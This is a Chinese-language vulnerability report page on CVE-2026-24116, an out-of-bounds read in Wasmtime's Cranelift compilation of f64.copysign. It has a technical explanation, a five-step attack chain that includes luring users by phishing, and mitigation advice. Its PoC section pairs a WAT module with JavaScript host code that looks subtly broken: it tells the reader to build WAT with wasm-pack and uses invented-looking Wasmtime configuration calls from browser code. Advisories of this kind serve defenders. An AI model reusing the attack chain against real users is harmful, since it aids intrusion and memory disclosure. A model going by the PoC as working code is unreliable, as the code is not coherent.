IPBUF安全漏洞报告
English
CVE-2026-24116 CVSS 5.5 中危

CVE-2026-24116: Wasmtime f64.copysign指令越界读取漏洞

披露日期: 2026-01-27

漏洞信息

漏洞编号
CVE-2026-24116
漏洞类型
缓冲区溢出/越界读取
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Wasmtime

相关标签

WasmtimeWebAssemblyCranelift缓冲区溢出越界读取x86-64AVXJIT编译CVE-2026-24116Rust

漏洞概述

CVE-2026-24116是Wasmtime WebAssembly运行时中的一个安全漏洞。Wasmtime是一个用Rust编写的独立WebAssembly运行时,被广泛用于各种应用场景中嵌入执行WebAssembly代码。该漏洞影响x86-64平台上启用AVX指令集的版本。问题出在Cranelift JIT编译器编译WebAssembly的f64.copysign指令时,会读取比实际需要多8字节的数据。在正常情况下,这额外的8字节读取会被guard pages保护机制拦截并转换为陷阱(trap)。然而,当禁用signals-based-traps机制时,这种越界读取会导致未捕获的段错误(segfault),因为程序试图访问未映射的guard pages。如果同时禁用了guard pages,那么可能存在从沙箱外加载数据的风险,尽管在正常情况下Cranelift的其他安全机制会阻止这些数据被WebAssembly guest代码访问。该漏洞的CVSS评分为5.5,属于中等严重级别,需要本地访问和用户交互才能触发。攻击者需要诱骗用户执行特定的WebAssembly模块才能利用此漏洞。

技术细节

该漏洞的根本原因在于Cranelift JIT编译器对f64.copysign指令的代码生成存在缺陷。f64.copysign是WebAssembly规范中定义的双精度浮点数符号复制指令,它接受两个参数:一个是待处理的值,另一个是提供符号位的值。在x86-64架构上,该指令通常通过MOVDDUP或类似指令实现,这些指令会从内存中加载64位(8字节)的数据。然而,Cranelift在某些优化过程中可能生成读取16字节的代码,但实际只使用了其中8字节。当Wasmtime启用了guard pages(作为防御深度措施)时,额外的8字节读取会落在guard pages上,触发内存访问异常,Wasmtime会捕获这个异常并正确处理。但如果禁用了signals-based-traps,异常不会被正确捕获,导致程序崩溃。更危险的是,如果同时禁用了guard pages(通过Config::memory_guard_size设置),这个越界读取可能访问到沙箱外的内存区域,可能导致敏感信息泄露。攻击者可以通过构造包含f64.copysign指令的恶意WebAssembly模块,并诱骗目标用户在启用AVX的x86-64系统上执行来触发此漏洞。

攻击链分析

STEP 1
步骤1: 侦察阶段
攻击者识别目标系统是否使用存在漏洞的Wasmtime版本(29.0.0-36.0.4、40.0.0-40.0.2、41.0.0),并确认目标运行在x86-64平台且启用了AVX指令集
STEP 2
步骤2: 恶意模块构建
攻击者构造包含f64.copysign指令的恶意WebAssembly模块,该模块专门设计用于触发Cranelift编译器在代码生成时的越界读取问题
STEP 3
步骤3: 社会工程攻击
攻击者通过钓鱼邮件、恶意网站或其他方式诱骗目标用户加载并执行该恶意WebAssembly模块,需要目标用户进行交互(如点击、访问网页等)
STEP 4
步骤4: 漏洞触发
当目标用户在存在漏洞的Wasmtime实例中执行该模块时,f64.copysign指令的编译代码会尝试读取超出分配内存边界的8字节数据
STEP 5
步骤5: 后果实现
如果目标禁用了signals-based-traps,将导致程序崩溃(segfault);如果同时禁用了guard pages,可能导致敏感内存数据被读取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-24116 PoC - Malicious WebAssembly Module // This PoC demonstrates the f64.copysign vulnerability in Wasmtime // Compile with: wasm-pack build --target web (module (func $trigger_vulnerability (result f64) ;; Create two local f64 values (local $value f64) (local $sign f64) ;; Initialize value to positive 1.0 (local.set $value (f64.const 1.0)) ;; Initialize sign to negative zero (-0.0) (local.set $sign (f64.const -0.0)) ;; This f64.copysign instruction triggers the vulnerability ;; On affected Wasmtime versions with AVX enabled, this may ;; cause an out-of-bounds read of 8 extra bytes (return (f64.copysign (local.get $value) (local.get $sign))) ) (export "trigger_vulnerability" (func $trigger_vulnerability)) ) // JavaScript host code to run the PoC: /* import init from './pkg/my_module.js'; async function runPoC() { const wasm = await init(); // Disable signals-based traps to trigger the vulnerability // Note: This is for demonstration purposes only const config = new wasm.WasmtimeConfig(); config.signals_based_traps = false; const engine = new wasm.WasmtimeEngine(config); const store = new wasm.WasmtimeStore(engine); try { const result = wasm.trigger_vulnerability(store); console.log('Result:', result); } catch (e) { console.log('Vulnerability triggered - Segmentation fault'); console.error(e); } } runPoC(); */

影响范围

Wasmtime 29.0.0 <= version < 36.0.5
Wasmtime 40.0.0 <= version < 40.0.3
Wasmtime 41.0.0 <= version < 41.0.1

防御指南

临时缓解措施
如果暂时无法升级到修复版本,可以采取以下临时缓解措施:1)启用signals-based-traps机制(默认启用),这可以确保越界读取被正确捕获并转换为WebAssembly陷阱,避免程序崩溃;2)不要禁用guard pages(通过Config::memory_guard_size),这是Wasmtime的关键防御深度措施;3)如果应用场景允许,考虑使用不支持AVX指令集的CPU或通过操作系统级别限制AVX指令集的使用;4)在Web服务器或沙箱环境中限制不受信任的WebAssembly代码执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表